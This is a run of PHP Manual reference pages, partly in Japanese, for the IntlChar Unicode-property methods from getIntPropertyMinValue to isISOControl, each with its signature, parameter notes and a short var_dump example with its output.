  • ≪ IntlChar::getIntPropertyMaxValue
  • IntlChar::getIntPropertyValue ≫
  • PHP Manual
  • IntlChar
  • Get the min value for a Unicode property

IntlChar::getIntPropertyMinValue

(PHP 7)

IntlChar::getIntPropertyMinValue — Get the min value for a Unicode property

説明

public static IntlChar::getIntPropertyMinValue ( int $property ) : int

Gets the minimum value for an enumerated/integer/binary Unicode property.

パラメータ

property

調べたい Unicode プロパティ (定数 IntlChar::PROPERTY_* を参照ください)。

返り値

The minimum value returned by IntlChar::getIntPropertyValue() for a Unicode property. 0 if the property selector is out of range.

例

例1 さまざまなプロパティの例

<?php
var_dump(IntlChar::getIntPropertyMinValue(IntlChar::PROPERTY_BIDI_CLASS));
var_dump(IntlChar::getIntPropertyMinValue(IntlChar::PROPERTY_SCRIPT));
var_dump(IntlChar::getIntPropertyMinValue(IntlChar::PROPERTY_IDEOGRAPHIC));
var_dump(IntlChar::getIntPropertyMinValue(999999999)); // Some made-up value
?>

上の例の出力は以下となります。

int(0)
int(0)
int(0)
int(0)

参考

  • IntlChar::hasBinaryProperty() - Check a binary Unicode property for a code point
  • IntlChar::getIntPropertyMaxValue() - Get the max value for a Unicode property
  • IntlChar::getIntPropertyValue() - Get the value for a Unicode property for a code point
  • IntlChar::getUnicodeVersion() - Get the Unicode version

User Contributed Notes

There are no user contributed notes for this page.


Get the value for a Unicode property for a code point

  • ≪ IntlChar::getIntPropertyMinValue
  • IntlChar::getNumericValue ≫
  • PHP Manual
  • IntlChar
  • Get the value for a Unicode property for a code point

IntlChar::getIntPropertyValue

(PHP 7)

IntlChar::getIntPropertyValue — Get the value for a Unicode property for a code point

説明

public static IntlChar::getIntPropertyValue ( mixed $codepoint , int $property ) : int

Gets the property value for an enumerated or integer Unicode property for a code point. Also returns binary and mask property values.

パラメータ

codepoint

コードポイントを表す int 型の値 (例: U+2603 SNOWMAN を表す 0x2603)、あるいは UTF-8 文字列としてエンコードされた文字 (例: "\u{2603}")。

property

調べたい Unicode プロパティ (定数 IntlChar::PROPERTY_* を参照ください)。

返り値

Returns the numeric value that is directly the property value or, for enumerated properties, corresponds to the numeric value of the enumerated constant of the respective property value enumeration type.

Returns 0 or 1 (for false/true) for binary Unicode properties.

Returns a bit-mask for mask properties.

Returns 0 if property is out of bounds or if the Unicode version does not have data for the property at all, or not for this code point.

例

例1 さまざまなプロパティの例

<?php
var_dump(IntlChar::getIntPropertyValue("A", IntlChar::PROPERTY_ALPHABETIC) === 1);
var_dump(IntlChar::getIntPropertyValue("[", IntlChar::PROPERTY_BIDI_MIRRORED) === 1);
var_dump(IntlChar::getIntPropertyValue("Φ", IntlChar::PROPERTY_BLOCK) === IntlChar::BLOCK_CODE_GREEK);
?>

上の例の出力は以下となります。

bool(true)
bool(true)
bool(true)

参考

  • IntlChar::hasBinaryProperty() - Check a binary Unicode property for a code point
  • IntlChar::getIntPropertyMinValue() - Get the min value for a Unicode property
  • IntlChar::getIntPropertyMaxValue() - Get the max value for a Unicode property
  • IntlChar::getUnicodeVersion() - Get the Unicode version

User Contributed Notes

There are no user contributed notes for this page.


Get the numeric value for a Unicode code point

  • ≪ IntlChar::getIntPropertyValue
  • IntlChar::getPropertyEnum ≫
  • PHP Manual
  • IntlChar
  • Get the numeric value for a Unicode code point

IntlChar::getNumericValue

(PHP 7)

IntlChar::getNumericValue — Get the numeric value for a Unicode code point

説明

public static IntlChar::getNumericValue ( mixed $codepoint ) : float

Gets the numeric value for a Unicode code point as defined in the Unicode Character Database.

For characters without any numeric values in the Unicode Character Database, this function will return IntlChar::NO_NUMERIC_VALUE.

パラメータ

codepoint

コードポイントを表す int 型の値 (例: U+2603 SNOWMAN を表す 0x2603)、あるいは UTF-8 文字列としてエンコードされた文字 (例: "\u{2603}")。

返り値

Numeric value of codepoint, or IntlChar::NO_NUMERIC_VALUE if none is defined. This constant was added in PHP 7.0.6, prior to this version the literal value (float)-123456789 may be used instead.

例

例1 さまざまなコードポイントの例

<?php
var_dump(IntlChar::getNumericValue("4"));
var_dump(IntlChar::getNumericValue("x"));
var_dump(IntlChar::getNumericValue("\u{216C}"));
?>

上の例の出力は以下となります。

float(4)
float(-123456789)
float(50)

User Contributed Notes

There are no user contributed notes for this page.


Get the property constant value for a given property name

  • ≪ IntlChar::getNumericValue
  • IntlChar::getPropertyName ≫
  • PHP Manual
  • IntlChar
  • Get the property constant value for a given property name

IntlChar::getPropertyEnum

(PHP 7)

IntlChar::getPropertyEnum — Get the property constant value for a given property name

説明

public static IntlChar::getPropertyEnum ( string $alias ) : int

Returns the property constant value for a given property name, as specified in the Unicode database file PropertyAliases.txt. Short, long, and any other variants are recognized.

In addition, this function maps the synthetic names "gcm" / "General_Category_Mask" to the property IntlChar::PROPERTY_GENERAL_CATEGORY_MASK. These names are not in PropertyAliases.txt.

This function compliments IntlChar::getPropertyName().

パラメータ

alias

The property name to be matched. The name is compared using "loose matching" as described in PropertyAliases.txt.

返り値

Returns an IntlChar::PROPERTY_ constant value, or IntlChar::PROPERTY_INVALID_CODE if the given name does not match any property.

例

例1 さまざまなプロパティの例

<?php
var_dump(IntlChar::getPropertyEnum('Bidi_Class') === IntlChar::PROPERTY_BIDI_CLASS);
var_dump(IntlChar::getPropertyEnum('script') === IntlChar::PROPERTY_SCRIPT);
var_dump(IntlChar::getPropertyEnum('IDEOGRAPHIC') === IntlChar::PROPERTY_IDEOGRAPHIC);
var_dump(IntlChar::getPropertyEnum('Some made-up string') === IntlChar::PROPERTY_INVALID_CODE);
?>

上の例の出力は以下となります。

bool(true)
bool(true)
bool(true)
bool(true)

参考

  • IntlChar::getPropertyName() - Get the Unicode name for a property

User Contributed Notes

There are no user contributed notes for this page.


Get the Unicode name for a property

  • ≪ IntlChar::getPropertyEnum
  • IntlChar::getPropertyValueEnum ≫
  • PHP Manual
  • IntlChar
  • Get the Unicode name for a property

IntlChar::getPropertyName

(PHP 7)

IntlChar::getPropertyName — Get the Unicode name for a property

説明

public static IntlChar::getPropertyName ( int $property , int $nameChoice = IntlChar::LONG_PROPERTY_NAME ) : string

Returns the Unicode name for a given property, as given in the Unicode database file PropertyAliases.txt.

In addition, this function maps the property IntlChar::PROPERTY_GENERAL_CATEGORY_MASK to the synthetic names "gcm" / "General_Category_Mask". These names are not in PropertyAliases.txt.

This function compliments IntlChar::getPropertyEnum().

パラメータ

property

調べたい Unicode プロパティ (定数 IntlChar::PROPERTY_* を参照ください)。

IntlChar::PROPERTY_INVALID_CODE should not be used. Also, if property is out of range, false is returned.

nameChoice

Selector for which name to get. If out of range, false is returned.

All properties have a long name. Most have a short name, but some do not. Unicode allows for additional names; if present these will be returned by adding 1, 2, etc. to IntlChar::LONG_PROPERTY_NAME.

返り値

Returns the name, or false if either the property or the nameChoice is out of range.

If a given nameChoice returns false, then all larger values of nameChoice will return false, with one exception: if false is returned for IntlChar::SHORT_PROPERTY_NAME, then IntlChar::LONG_PROPERTY_NAME (and higher) may still return a non-false value.

例

例1 さまざまなプロパティの例

<?php
var_dump(IntlChar::getPropertyName(IntlChar::PROPERTY_BIDI_CLASS));
var_dump(IntlChar::getPropertyName(IntlChar::PROPERTY_BIDI_CLASS, IntlChar::SHORT_PROPERTY_NAME));
var_dump(IntlChar::getPropertyName(IntlChar::PROPERTY_BIDI_CLASS, IntlChar::LONG_PROPERTY_NAME));
var_dump(IntlChar::getPropertyName(IntlChar::PROPERTY_BIDI_CLASS, IntlChar::LONG_PROPERTY_NAME + 1));
?>

上の例の出力は以下となります。

string(10) "Bidi_Class"
string(2) "bc"
string(10) "Bidi_Class"
bool(false)

参考

  • IntlChar::getPropertyEnum() - Get the property constant value for a given property name

User Contributed Notes

There are no user contributed notes for this page.


Get the property value for a given value name

  • ≪ IntlChar::getPropertyName
  • IntlChar::getPropertyValueName ≫
  • PHP Manual
  • IntlChar
  • Get the property value for a given value name

IntlChar::getPropertyValueEnum

(PHP 7)

IntlChar::getPropertyValueEnum — Get the property value for a given value name

説明

public static IntlChar::getPropertyValueEnum ( int $property , string $name ) : int

Returns the property value integer for a given value name, as specified in the Unicode database file PropertyValueAliases.txt. Short, long, and any other variants are recognized.

注意:

Some of the names in PropertyValueAliases.txt will only be recognized with IntlChar::PROPERTY_GENERAL_CATEGORY_MASK, not IntlChar::PROPERTY_GENERAL_CATEGORY. These include:

  • "C" / "Other"
  • "L" / "Letter"
  • "LC" / "Cased_Letter"
  • "M" / "Mark"
  • "N" / "Number"
  • "P" / "Punctuation"
  • "S" / "Symbol"
  • "Z" / "Separator"

パラメータ

property

調べたい Unicode プロパティ (定数 IntlChar::PROPERTY_* を参照ください)。

If out of range, or this method doesn't work with the given value, IntlChar::PROPERTY_INVALID_CODE is returned.

name

The value name to be matched. The name is compared using "loose matching" as described in PropertyValueAliases.txt.

返り値

Returns the corresponding value integer, or IntlChar::PROPERTY_INVALID_CODE if the given name does not match any value of the given property, or if the property is invalid.

例

例1 さまざまなプロパティの例

<?php
var_dump(IntlChar::getPropertyValueEnum(IntlChar::PROPERTY_BLOCK, 'greek') === IntlChar::BLOCK_CODE_GREEK);
var_dump(IntlChar::getPropertyValueEnum(IntlChar::PROPERTY_BIDI_CLASS, 'RIGHT_TO_LEFT') === IntlChar::CHAR_DIRECTION_RIGHT_TO_LEFT);
var_dump(IntlChar::getPropertyValueEnum(IntlChar::PROPERTY_BIDI_CLASS, 'some made-up string') === IntlChar::PROPERTY_INVALID_CODE);
var_dump(IntlChar::getPropertyValueEnum(123456789, 'RIGHT_TO_LEFT') === IntlChar::PROPERTY_INVALID_CODE);
?>

上の例の出力は以下となります。

bool(true)
bool(true)
bool(true)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Get the Unicode name for a property value

  • ≪ IntlChar::getPropertyValueEnum
  • IntlChar::getUnicodeVersion ≫
  • PHP Manual
  • IntlChar
  • Get the Unicode name for a property value

IntlChar::getPropertyValueName

(PHP 7)

IntlChar::getPropertyValueName — Get the Unicode name for a property value

説明

public static IntlChar::getPropertyValueName ( int $property , int $value , int $nameChoice = IntlChar::LONG_PROPERTY_NAME ) : string

Returns the Unicode name for a given property value, as given in the Unicode database file PropertyValueAliases.txt.

注意:

Some of the names in PropertyValueAliases.txt can only be retrieved using IntlChar::PROPERTY_GENERAL_CATEGORY_MASK, not IntlChar::PROPERTY_GENERAL_CATEGORY. These include:

  • "C" / "Other"
  • "L" / "Letter"
  • "LC" / "Cased_Letter"
  • "M" / "Mark"
  • "N" / "Number"
  • "P" / "Punctuation"
  • "S" / "Symbol"
  • "Z" / "Separator"

パラメータ

property

調べたい Unicode プロパティ (定数 IntlChar::PROPERTY_* を参照ください)。

If out of range, or this method doesn't work with the given value, false is returned.

value

Selector for a value for the given property. If out of range, false is returned.

In general, valid values range from 0 up to some maximum. There are a couple exceptions:

  • IntlChar::PROPERTY_BLOCK values begin at the non-zero value IntlChar::BLOCK_CODE_BASIC_LATIN
  • IntlChar::PROPERTY_CANONICAL_COMBINING_CLASS values are not contiguous and range from 0..240.

nameChoice

Selector for which name to get. If out of range, false is returned.

All values have a long name. Most have a short name, but some do not. Unicode allows for additional names; if present these will be returned by adding 1, 2, etc. to IntlChar::LONG_PROPERTY_NAME.

返り値

Returns the name, or false if either the property or the nameChoice is out of range.

If a given nameChoice returns false, then all larger values of nameChoice will return false, with one exception: if false is returned for IntlChar::SHORT_PROPERTY_NAME, then IntlChar::LONG_PROPERTY_NAME (and higher) may still return a non-false value.

例

例1 さまざまなプロパティの例

<?php
var_dump(IntlChar::getPropertyValueName(IntlChar::PROPERTY_BLOCK, IntlChar::BLOCK_CODE_GREEK));
var_dump(IntlChar::getPropertyValueName(IntlChar::PROPERTY_BLOCK, IntlChar::BLOCK_CODE_GREEK, IntlChar::SHORT_PROPERTY_NAME));
var_dump(IntlChar::getPropertyValueName(IntlChar::PROPERTY_BLOCK, IntlChar::BLOCK_CODE_GREEK, IntlChar::LONG_PROPERTY_NAME));
var_dump(IntlChar::getPropertyValueName(IntlChar::PROPERTY_BLOCK, IntlChar::BLOCK_CODE_GREEK, IntlChar::LONG_PROPERTY_NAME + 1));
?>

上の例の出力は以下となります。

string(16) "Greek_And_Coptic"
string(5) "Greek"
string(16) "Greek_And_Coptic"
bool(false)

User Contributed Notes

There are no user contributed notes for this page.


Get the Unicode version

  • ≪ IntlChar::getPropertyValueName
  • IntlChar::hasBinaryProperty ≫
  • PHP Manual
  • IntlChar
  • Get the Unicode version

IntlChar::getUnicodeVersion

(PHP 7)

IntlChar::getUnicodeVersion — Get the Unicode version

説明

public static IntlChar::getUnicodeVersion ( ) : array

Gets the Unicode version information.

The version array is filled in with the version information for the Unicode standard that is currently used by ICU. For example, Unicode version 3.1.1 is represented as an array with the values [3, 1, 1, 0].

パラメータ

この関数にはパラメータはありません。

返り値

An array containing the Unicode version number.

例

例1 さまざまなプロパティの例

<?php
var_dump(IntlChar::getUnicodeVersion());
?>

上の例の出力は以下となります。

array(4) {
  [0]=>
  int(7)
  [1]=>
  int(0)
  [2]=>
  int(0)
  [3]=>
  int(0)
}

参考

  • IntlChar::charAge() - Get the "age" of the code point

User Contributed Notes

There are no user contributed notes for this page.


Check a binary Unicode property for a code point

  • ≪ IntlChar::getUnicodeVersion
  • IntlChar::isalnum ≫
  • PHP Manual
  • IntlChar
  • Check a binary Unicode property for a code point

IntlChar::hasBinaryProperty

(PHP 7)

IntlChar::hasBinaryProperty — Check a binary Unicode property for a code point

説明

public static IntlChar::hasBinaryProperty ( mixed $codepoint , int $property ) : bool

Checks a binary Unicode property for a code point.

Unicode, especially in version 3.2, defines many more properties than the original set in UnicodeData.txt.

The properties APIs are intended to reflect Unicode properties as defined in the Unicode Character Database (UCD) and Unicode Technical Reports (UTR). For details about the properties see » http://www.unicode.org/ucd/. For names of Unicode properties see the UCD file PropertyAliases.txt.

パラメータ

codepoint

コードポイントを表す int 型の値 (例: U+2603 SNOWMAN を表す 0x2603)、あるいは UTF-8 文字列としてエンコードされた文字 (例: "\u{2603}")。

property

調べたい Unicode プロパティ (定数 IntlChar::PROPERTY_* を参照ください)。

返り値

Returns true or false according to the binary Unicode property value for codepoint. Also false if property is out of bounds or if the Unicode version does not have data for the property at all, or not for this code point.

例

例1 さまざまなプロパティの例

<?php
var_dump(IntlChar::hasBinaryProperty("A", IntlChar::PROPERTY_ALPHABETIC));
var_dump(IntlChar::hasBinaryProperty("A", IntlChar::PROPERTY_CASE_SENSITIVE));
var_dump(IntlChar::hasBinaryProperty("A", IntlChar::PROPERTY_BIDI_MIRRORED));
var_dump(IntlChar::hasBinaryProperty("[", IntlChar::PROPERTY_ALPHABETIC));
var_dump(IntlChar::hasBinaryProperty("[", IntlChar::PROPERTY_CASE_SENSITIVE));
var_dump(IntlChar::hasBinaryProperty("[", IntlChar::PROPERTY_BIDI_MIRRORED));
?>

上の例の出力は以下となります。

bool(true)
bool(true)
bool(false)
bool(false)
bool(false)
bool(true)

参考

  • IntlChar::getIntPropertyValue() - Get the value for a Unicode property for a code point
  • IntlChar::getUnicodeVersion() - Get the Unicode version

User Contributed Notes

There are no user contributed notes for this page.


Check if code point is an alphanumeric character

  • ≪ IntlChar::hasBinaryProperty
  • IntlChar::isalpha ≫
  • PHP Manual
  • IntlChar
  • Check if code point is an alphanumeric character

IntlChar::isalnum

(PHP 7)

IntlChar::isalnum — Check if code point is an alphanumeric character

説明

public static IntlChar::isalnum ( mixed $codepoint ) : bool

Determines whether the specified code point is an alphanumeric character (letter or digit). true for characters with general categories "L" (letters) and "Nd" (decimal digit numbers).

パラメータ

codepoint

コードポイントを表す int 型の値 (例: U+2603 SNOWMAN を表す 0x2603)、あるいは UTF-8 文字列としてエンコードされた文字 (例: "\u{2603}")。

返り値

Returns true if codepoint is an alphanumeric character, false if not.

例

例1 さまざまなコードポイントの例

<?php
var_dump(IntlChar::isalnum("A"));
var_dump(IntlChar::isalnum("1"));
var_dump(IntlChar::isalnum("\u{2603}"));
?>

上の例の出力は以下となります。

bool(true)
bool(true)
bool(false)

参考

  • IntlChar::isalpha() - Check if code point is a letter character
  • IntlChar::isdigit() - Check if code point is a digit character

User Contributed Notes

There are no user contributed notes for this page.


Check if code point is a letter character

  • ≪ IntlChar::isalnum
  • IntlChar::isbase ≫
  • PHP Manual
  • IntlChar
  • Check if code point is a letter character

IntlChar::isalpha

(PHP 7)

IntlChar::isalpha — Check if code point is a letter character

説明

public static IntlChar::isalpha ( mixed $codepoint ) : bool

Determines whether the specified code point is a letter character. true for general categories "L" (letters).

パラメータ

codepoint

コードポイントを表す int 型の値 (例: U+2603 SNOWMAN を表す 0x2603)、あるいは UTF-8 文字列としてエンコードされた文字 (例: "\u{2603}")。

返り値

Returns true if codepoint is a letter character, false if not.

例

例1 さまざまなコードポイントの例

<?php
var_dump(IntlChar::isalpha("A"));
var_dump(IntlChar::isalpha("1"));
var_dump(IntlChar::isalpha("\u{2603}"));
?>

上の例の出力は以下となります。

bool(true)
bool(false)
bool(false)

参考

  • IntlChar::isalnum() - Check if code point is an alphanumeric character
  • IntlChar::isdigit() - Check if code point is a digit character

User Contributed Notes

There are no user contributed notes for this page.


Check if code point is a base character

  • ≪ IntlChar::isalpha
  • IntlChar::isblank ≫
  • PHP Manual
  • IntlChar
  • Check if code point is a base character

IntlChar::isbase

(PHP 7)

IntlChar::isbase — Check if code point is a base character

説明

public static IntlChar::isbase ( mixed $codepoint ) : bool

Determines whether the specified code point is a base character. true for general categories "L" (letters), "N" (numbers), "Mc" (spacing combining marks), and "Me" (enclosing marks).

注意:

This is different from the Unicode definition in chapter 3.5, conformance clause D13, which defines base characters to be all characters (not Cn) that do not graphically combine with preceding characters (M) and that are neither control (Cc) or format (Cf) characters.

パラメータ

codepoint

コードポイントを表す int 型の値 (例: U+2603 SNOWMAN を表す 0x2603)、あるいは UTF-8 文字列としてエンコードされた文字 (例: "\u{2603}")。

返り値

Returns true if codepoint is a base character, false if not.

例

例1 さまざまなコードポイントの例

<?php
var_dump(IntlChar::isbase("A"));
var_dump(IntlChar::isbase("1"));
var_dump(IntlChar::isbase("\u{2603}"));
?>

上の例の出力は以下となります。

bool(true)
bool(true)
bool(false)

参考

  • IntlChar::isalpha() - Check if code point is a letter character
  • IntlChar::isdigit() - Check if code point is a digit character

User Contributed Notes

There are no user contributed notes for this page.


Check if code point is a "blank" or "horizontal space" character

  • ≪ IntlChar::isbase
  • IntlChar::iscntrl ≫
  • PHP Manual
  • IntlChar
  • Check if code point is a "blank" or "horizontal space" character

IntlChar::isblank

(PHP 7)

IntlChar::isblank — Check if code point is a "blank" or "horizontal space" character

説明

public static IntlChar::isblank ( mixed $codepoint ) : bool

Determines whether the specified code point is a "blank" or "horizontal space", a character that visibly separates words on a line.

The following are equivalent definitions:

  • true for Unicode White_Space characters except for "vertical space controls" where "vertical space controls" are the following characters: U+000A (LF) U+000B (VT) U+000C (FF) U+000D (CR) U+0085 (NEL) U+2028 (LS) U+2029 (PS)
  • true for U+0009 (TAB) and characters with general category "Zs" (space separators) except Zero Width Space (ZWSP, U+200B).

パラメータ

codepoint

コードポイントを表す int 型の値 (例: U+2603 SNOWMAN を表す 0x2603)、あるいは UTF-8 文字列としてエンコードされた文字 (例: "\u{2603}")。

返り値

Returns true if codepoint is either a "blank" or "horizontal space" character, false if not.

例

例1 さまざまなコードポイントの例

<?php
var_dump(IntlChar::isblank("A"));
var_dump(IntlChar::isblank(" "));
var_dump(IntlChar::isblank("\t"));
?>

上の例の出力は以下となります。

bool(false)
bool(true)
bool(true)

参考

  • IntlChar::isspace() - Check if code point is a space character
  • IntlChar::isJavaSpaceChar() - Check if code point is a space character according to Java
  • IntlChar::isUWhiteSpace() - Check if code point has the White_Space Unicode property
  • IntlChar::isWhitespace() - Check if code point is a whitespace character according to ICU

User Contributed Notes

There are no user contributed notes for this page.


Check if code point is a control character

  • ≪ IntlChar::isblank
  • IntlChar::isdefined ≫
  • PHP Manual
  • IntlChar
  • Check if code point is a control character

IntlChar::iscntrl

(PHP 7)

IntlChar::iscntrl — Check if code point is a control character

説明

public static IntlChar::iscntrl ( mixed $codepoint ) : bool

Determines whether the specified code point is a control character.

A control character is one of the following:

  • ISO 8-bit control character (U+0000..U+001f and U+007f..U+009f)
  • IntlChar::CHAR_CATEGORY_CONTROL_CHAR (Cc)
  • IntlChar::CHAR_CATEGORY_FORMAT_CHAR (Cf)
  • IntlChar::CHAR_CATEGORY_LINE_SEPARATOR (Zl)
  • IntlChar::CHAR_CATEGORY_PARAGRAPH_SEPARATOR (Zp)

パラメータ

codepoint

コードポイントを表す int 型の値 (例: U+2603 SNOWMAN を表す 0x2603)、あるいは UTF-8 文字列としてエンコードされた文字 (例: "\u{2603}")。

返り値

Returns true if codepoint is a control character, false if not.

例

例1 さまざまなコードポイントの例

<?php
var_dump(IntlChar::iscntrl("A"));
var_dump(IntlChar::iscntrl(" "));
var_dump(IntlChar::iscntrl("\n"));
var_dump(IntlChar::iscntrl("\u{200e}"));
?>

上の例の出力は以下となります。

bool(false)
bool(false)
bool(true)
bool(true)

参考

  • IntlChar::isprint() - Check if code point is a printable character
  • IntlChar::PROPERTY_DEFAULT_IGNORABLE_CODE_POINT

User Contributed Notes

There are no user contributed notes for this page.


Check whether the code point is defined

  • ≪ IntlChar::iscntrl
  • IntlChar::isdigit ≫
  • PHP Manual
  • IntlChar
  • Check whether the code point is defined

IntlChar::isdefined

(PHP 7)

IntlChar::isdefined — Check whether the code point is defined

説明

public static IntlChar::isdefined ( mixed $codepoint ) : bool

Determines whether the specified code point is "defined", which usually means that it is assigned a character.

true for general categories other than "Cn" (other, not assigned).

注意:

Note that non-character code points (e.g., U+FDD0) are not "defined" (they are Cn), but surrogate code points are "defined" (Cs).

パラメータ

codepoint

コードポイントを表す int 型の値 (例: U+2603 SNOWMAN を表す 0x2603)、あるいは UTF-8 文字列としてエンコードされた文字 (例: "\u{2603}")。

返り値

Returns true if codepoint is a defined character, false if not.

例

例1 さまざまなコードポイントの例

<?php
var_dump(IntlChar::isdefined("A"));
var_dump(IntlChar::isdefined(" "));
var_dump(IntlChar::isdefined("\u{FDD0}"));
?>

上の例の出力は以下となります。

bool(true)
bool(true)
bool(false)

参考

  • IntlChar::isdigit() - Check if code point is a digit character
  • IntlChar::isalpha() - Check if code point is a letter character
  • IntlChar::isalnum() - Check if code point is an alphanumeric character
  • IntlChar::isupper() - Check if code point has the general category "Lu" (uppercase letter)
  • IntlChar::islower() - Check if code point is a lowercase letter
  • IntlChar::istitle() - Check if code point is a titlecase letter

User Contributed Notes

There are no user contributed notes for this page.


Check if code point is a digit character

  • ≪ IntlChar::isdefined
  • IntlChar::isgraph ≫
  • PHP Manual
  • IntlChar
  • Check if code point is a digit character

IntlChar::isdigit

(PHP 7)

IntlChar::isdigit — Check if code point is a digit character

説明

public static IntlChar::isdigit ( mixed $codepoint ) : bool

Determines whether the specified code point is a digit character.

true for characters with general category "Nd" (decimal digit numbers). Beginning with Unicode 4, this is the same as testing for the Numeric_Type of Decimal.

パラメータ

codepoint

コードポイントを表す int 型の値 (例: U+2603 SNOWMAN を表す 0x2603)、あるいは UTF-8 文字列としてエンコードされた文字 (例: "\u{2603}")。

返り値

Returns true if codepoint is a digit character, false if not.

例

例1 さまざまなコードポイントの例

<?php
var_dump(IntlChar::isdigit("A"));
var_dump(IntlChar::isdigit("1"));
var_dump(IntlChar::isdigit("\t"));
?>

上の例の出力は以下となります。

bool(false)
bool(true)
bool(false)

参考

  • IntlChar::isalpha() - Check if code point is a letter character
  • IntlChar::isalnum() - Check if code point is an alphanumeric character
  • IntlChar::isxdigit() - Check if code point is a hexadecimal digit

User Contributed Notes

There are no user contributed notes for this page.


Check if code point is a graphic character

  • ≪ IntlChar::isdigit
  • IntlChar::isIDIgnorable ≫
  • PHP Manual
  • IntlChar
  • Check if code point is a graphic character

IntlChar::isgraph

(PHP 7)

IntlChar::isgraph — Check if code point is a graphic character

説明

public static IntlChar::isgraph ( mixed $codepoint ) : bool

Determines whether the specified code point is a "graphic" character (printable, excluding spaces).

true for all characters except those with general categories "Cc" (control codes), "Cf" (format controls), "Cs" (surrogates), "Cn" (unassigned), and "Z" (separators).

パラメータ

codepoint

コードポイントを表す int 型の値 (例: U+2603 SNOWMAN を表す 0x2603)、あるいは UTF-8 文字列としてエンコードされた文字 (例: "\u{2603}")。

返り値

Returns true if codepoint is a "graphic" character, false if not.

例

例1 さまざまなコードポイントの例

<?php
var_dump(IntlChar::isgraph("A"));
var_dump(IntlChar::isgraph("1"));
var_dump(IntlChar::isgraph("\u{2603}"));
var_dump(IntlChar::isgraph("\n"));
?>

上の例の出力は以下となります。

bool(true)
bool(true)
bool(true)
bool(false)

User Contributed Notes

There are no user contributed notes for this page.


Check if code point is an ignorable character

  • ≪ IntlChar::isgraph
  • IntlChar::isIDPart ≫
  • PHP Manual
  • IntlChar
  • Check if code point is an ignorable character

IntlChar::isIDIgnorable

(PHP 7)

IntlChar::isIDIgnorable — Check if code point is an ignorable character

説明

public static IntlChar::isIDIgnorable ( mixed $codepoint ) : bool

Determines if the specified character should be regarded as an ignorable character in an identifier.

true for characters with general category "Cf" (format controls) as well as non-whitespace ISO controls (U+0000..U+0008, U+000E..U+001B, U+007F..U+009F).

注意:

Note that Unicode just recommends to ignore Cf (format controls).

パラメータ

codepoint

コードポイントを表す int 型の値 (例: U+2603 SNOWMAN を表す 0x2603)、あるいは UTF-8 文字列としてエンコードされた文字 (例: "\u{2603}")。

返り値

Returns true if codepoint is ignorable in identifiers, false if not.

例

例1 さまざまなコードポイントの例

<?php
var_dump(IntlChar::isIDIgnorable("A"));
var_dump(IntlChar::isIDIgnorable(" "));
var_dump(IntlChar::isIDIgnorable("\u{007F}"));
?>

上の例の出力は以下となります。

bool(false)
bool(false)
bool(true)

参考

  • IntlChar::isIDStart() - Check if code point is permissible as the first character in an identifier
  • IntlChar::isIDPart() - Check if code point is permissible in an identifier
  • IntlChar::PROPERTY_DEFAULT_IGNORABLE_CODE_POINT

User Contributed Notes

There are no user contributed notes for this page.


Check if code point is permissible in an identifier

  • ≪ IntlChar::isIDIgnorable
  • IntlChar::isIDStart ≫
  • PHP Manual
  • IntlChar
  • Check if code point is permissible in an identifier

IntlChar::isIDPart

(PHP 7)

IntlChar::isIDPart — Check if code point is permissible in an identifier

説明

public static IntlChar::isIDPart ( mixed $codepoint ) : bool

Determines if the specified character is permissible in an identifier.

true for characters with general categories "L" (letters), "Nl" (letter numbers), "Nd" (decimal digits), "Mc" and "Mn" (combining marks), "Pc" (connecting punctuation), and u_isIDIgnorable(c).

注意:

This is almost the same as Unicode's ID_Continue (IntlChar::PROPERTY_ID_CONTINUE) except that Unicode recommends to ignore Cf which is less than IntlChar::isIDIgnorable().

パラメータ

codepoint

コードポイントを表す int 型の値 (例: U+2603 SNOWMAN を表す 0x2603)、あるいは UTF-8 文字列としてエンコードされた文字 (例: "\u{2603}")。

返り値

Returns true if codepoint is the code point may occur in an identifier, false if not.

例

例1 さまざまなコードポイントの例

<?php
var_dump(IntlChar::isIDPart("A"));
var_dump(IntlChar::isIDPart("$"));
var_dump(IntlChar::isIDPart("\n"));
var_dump(IntlChar::isIDPart("\u{2603}"));
?>

上の例の出力は以下となります。

bool(true)
bool(false)
bool(false)
bool(false)

参考

  • IntlChar::isIDIgnorable() - Check if code point is an ignorable character
  • IntlChar::isIDStart() - Check if code point is permissible as the first character in an identifier
  • IntlChar::PROPERTY_ID_CONTINUE

User Contributed Notes

There are no user contributed notes for this page.


Check if code point is permissible as the first character in an identifier

  • ≪ IntlChar::isIDPart
  • IntlChar::isISOControl ≫
  • PHP Manual
  • IntlChar
  • Check if code point is permissible as the first character in an identifier

IntlChar::isIDStart

(PHP 7)

IntlChar::isIDStart — Check if code point is permissible as the first character in an identifier

説明

public static IntlChar::isIDStart ( mixed $codepoint ) : bool

Determines if the specified character is permissible as the first character in an identifier according to Unicode (The Unicode Standard, Version 3.0, chapter 5.16 Identifiers).

true for characters with general categories "L" (letters) and "Nl" (letter numbers).

パラメータ

codepoint

コードポイントを表す int 型の値 (例: U+2603 SNOWMAN を表す 0x2603)、あるいは UTF-8 文字列としてエンコードされた文字 (例: "\u{2603}")。

返り値

Returns true if codepoint may start an identifier, false if not.

例

例1 さまざまなコードポイントの例

<?php
var_dump(IntlChar::isIDStart("A"));
var_dump(IntlChar::isIDStart("$"));
var_dump(IntlChar::isIDStart("\n"));
var_dump(IntlChar::isIDStart("\u{2603}"));
?>

上の例の出力は以下となります。

bool(true)
bool(false)
bool(false)
bool(false)

参考

  • IntlChar::isalpha() - Check if code point is a letter character
  • IntlChar::isIDPart() - Check if code point is permissible in an identifier
  • IntlChar::PROPERTY_ID_START

User Contributed Notes

There are no user contributed notes for this page.


Check if code point is an ISO control code

  • ≪ IntlChar::isIDStart
  • IntlChar::isJavaIDPart ≫
  • PHP Manual
  • IntlChar
  • Check if code point is an ISO control code

IntlChar::isISOControl

(PHP 7)

IntlChar::isISOControl — Check if code point is an ISO control code

説明

public static IntlChar::isISOControl ( mixed $codepoint ) : bool

Determines whether the specified code point is an ISO control code.

true for U+0000..U+001f and U+007f..U+009f (general category "Cc").

パラメータ

codepoint

コードポイントを表す int 型の値 (例: U+2603 SNOWMAN を表す 0x2603)、あるいは UTF-8 文字列としてエンコードされた文字 (例: "\u{2603}")。

返り値

Returns true if codepoint is an ISO control code, false if not.

例

例1 さまざまなコードポイントの例

<?php
var_dump(IntlChar::isISOControl(" "));
var_dump(IntlChar::isISOControl("\n"));
var_dump(IntlChar::isISOControl("\u{200e}"));
?>

上の例の出力は以下となります。

bool(false)
bool(true)
bool(false)

参考

  • IntlChar::iscntrl() - Check if code point is a control character

User Contributed Notes

There are no user contributed notes for this page.


Check if code point is permissible in a Java identifier

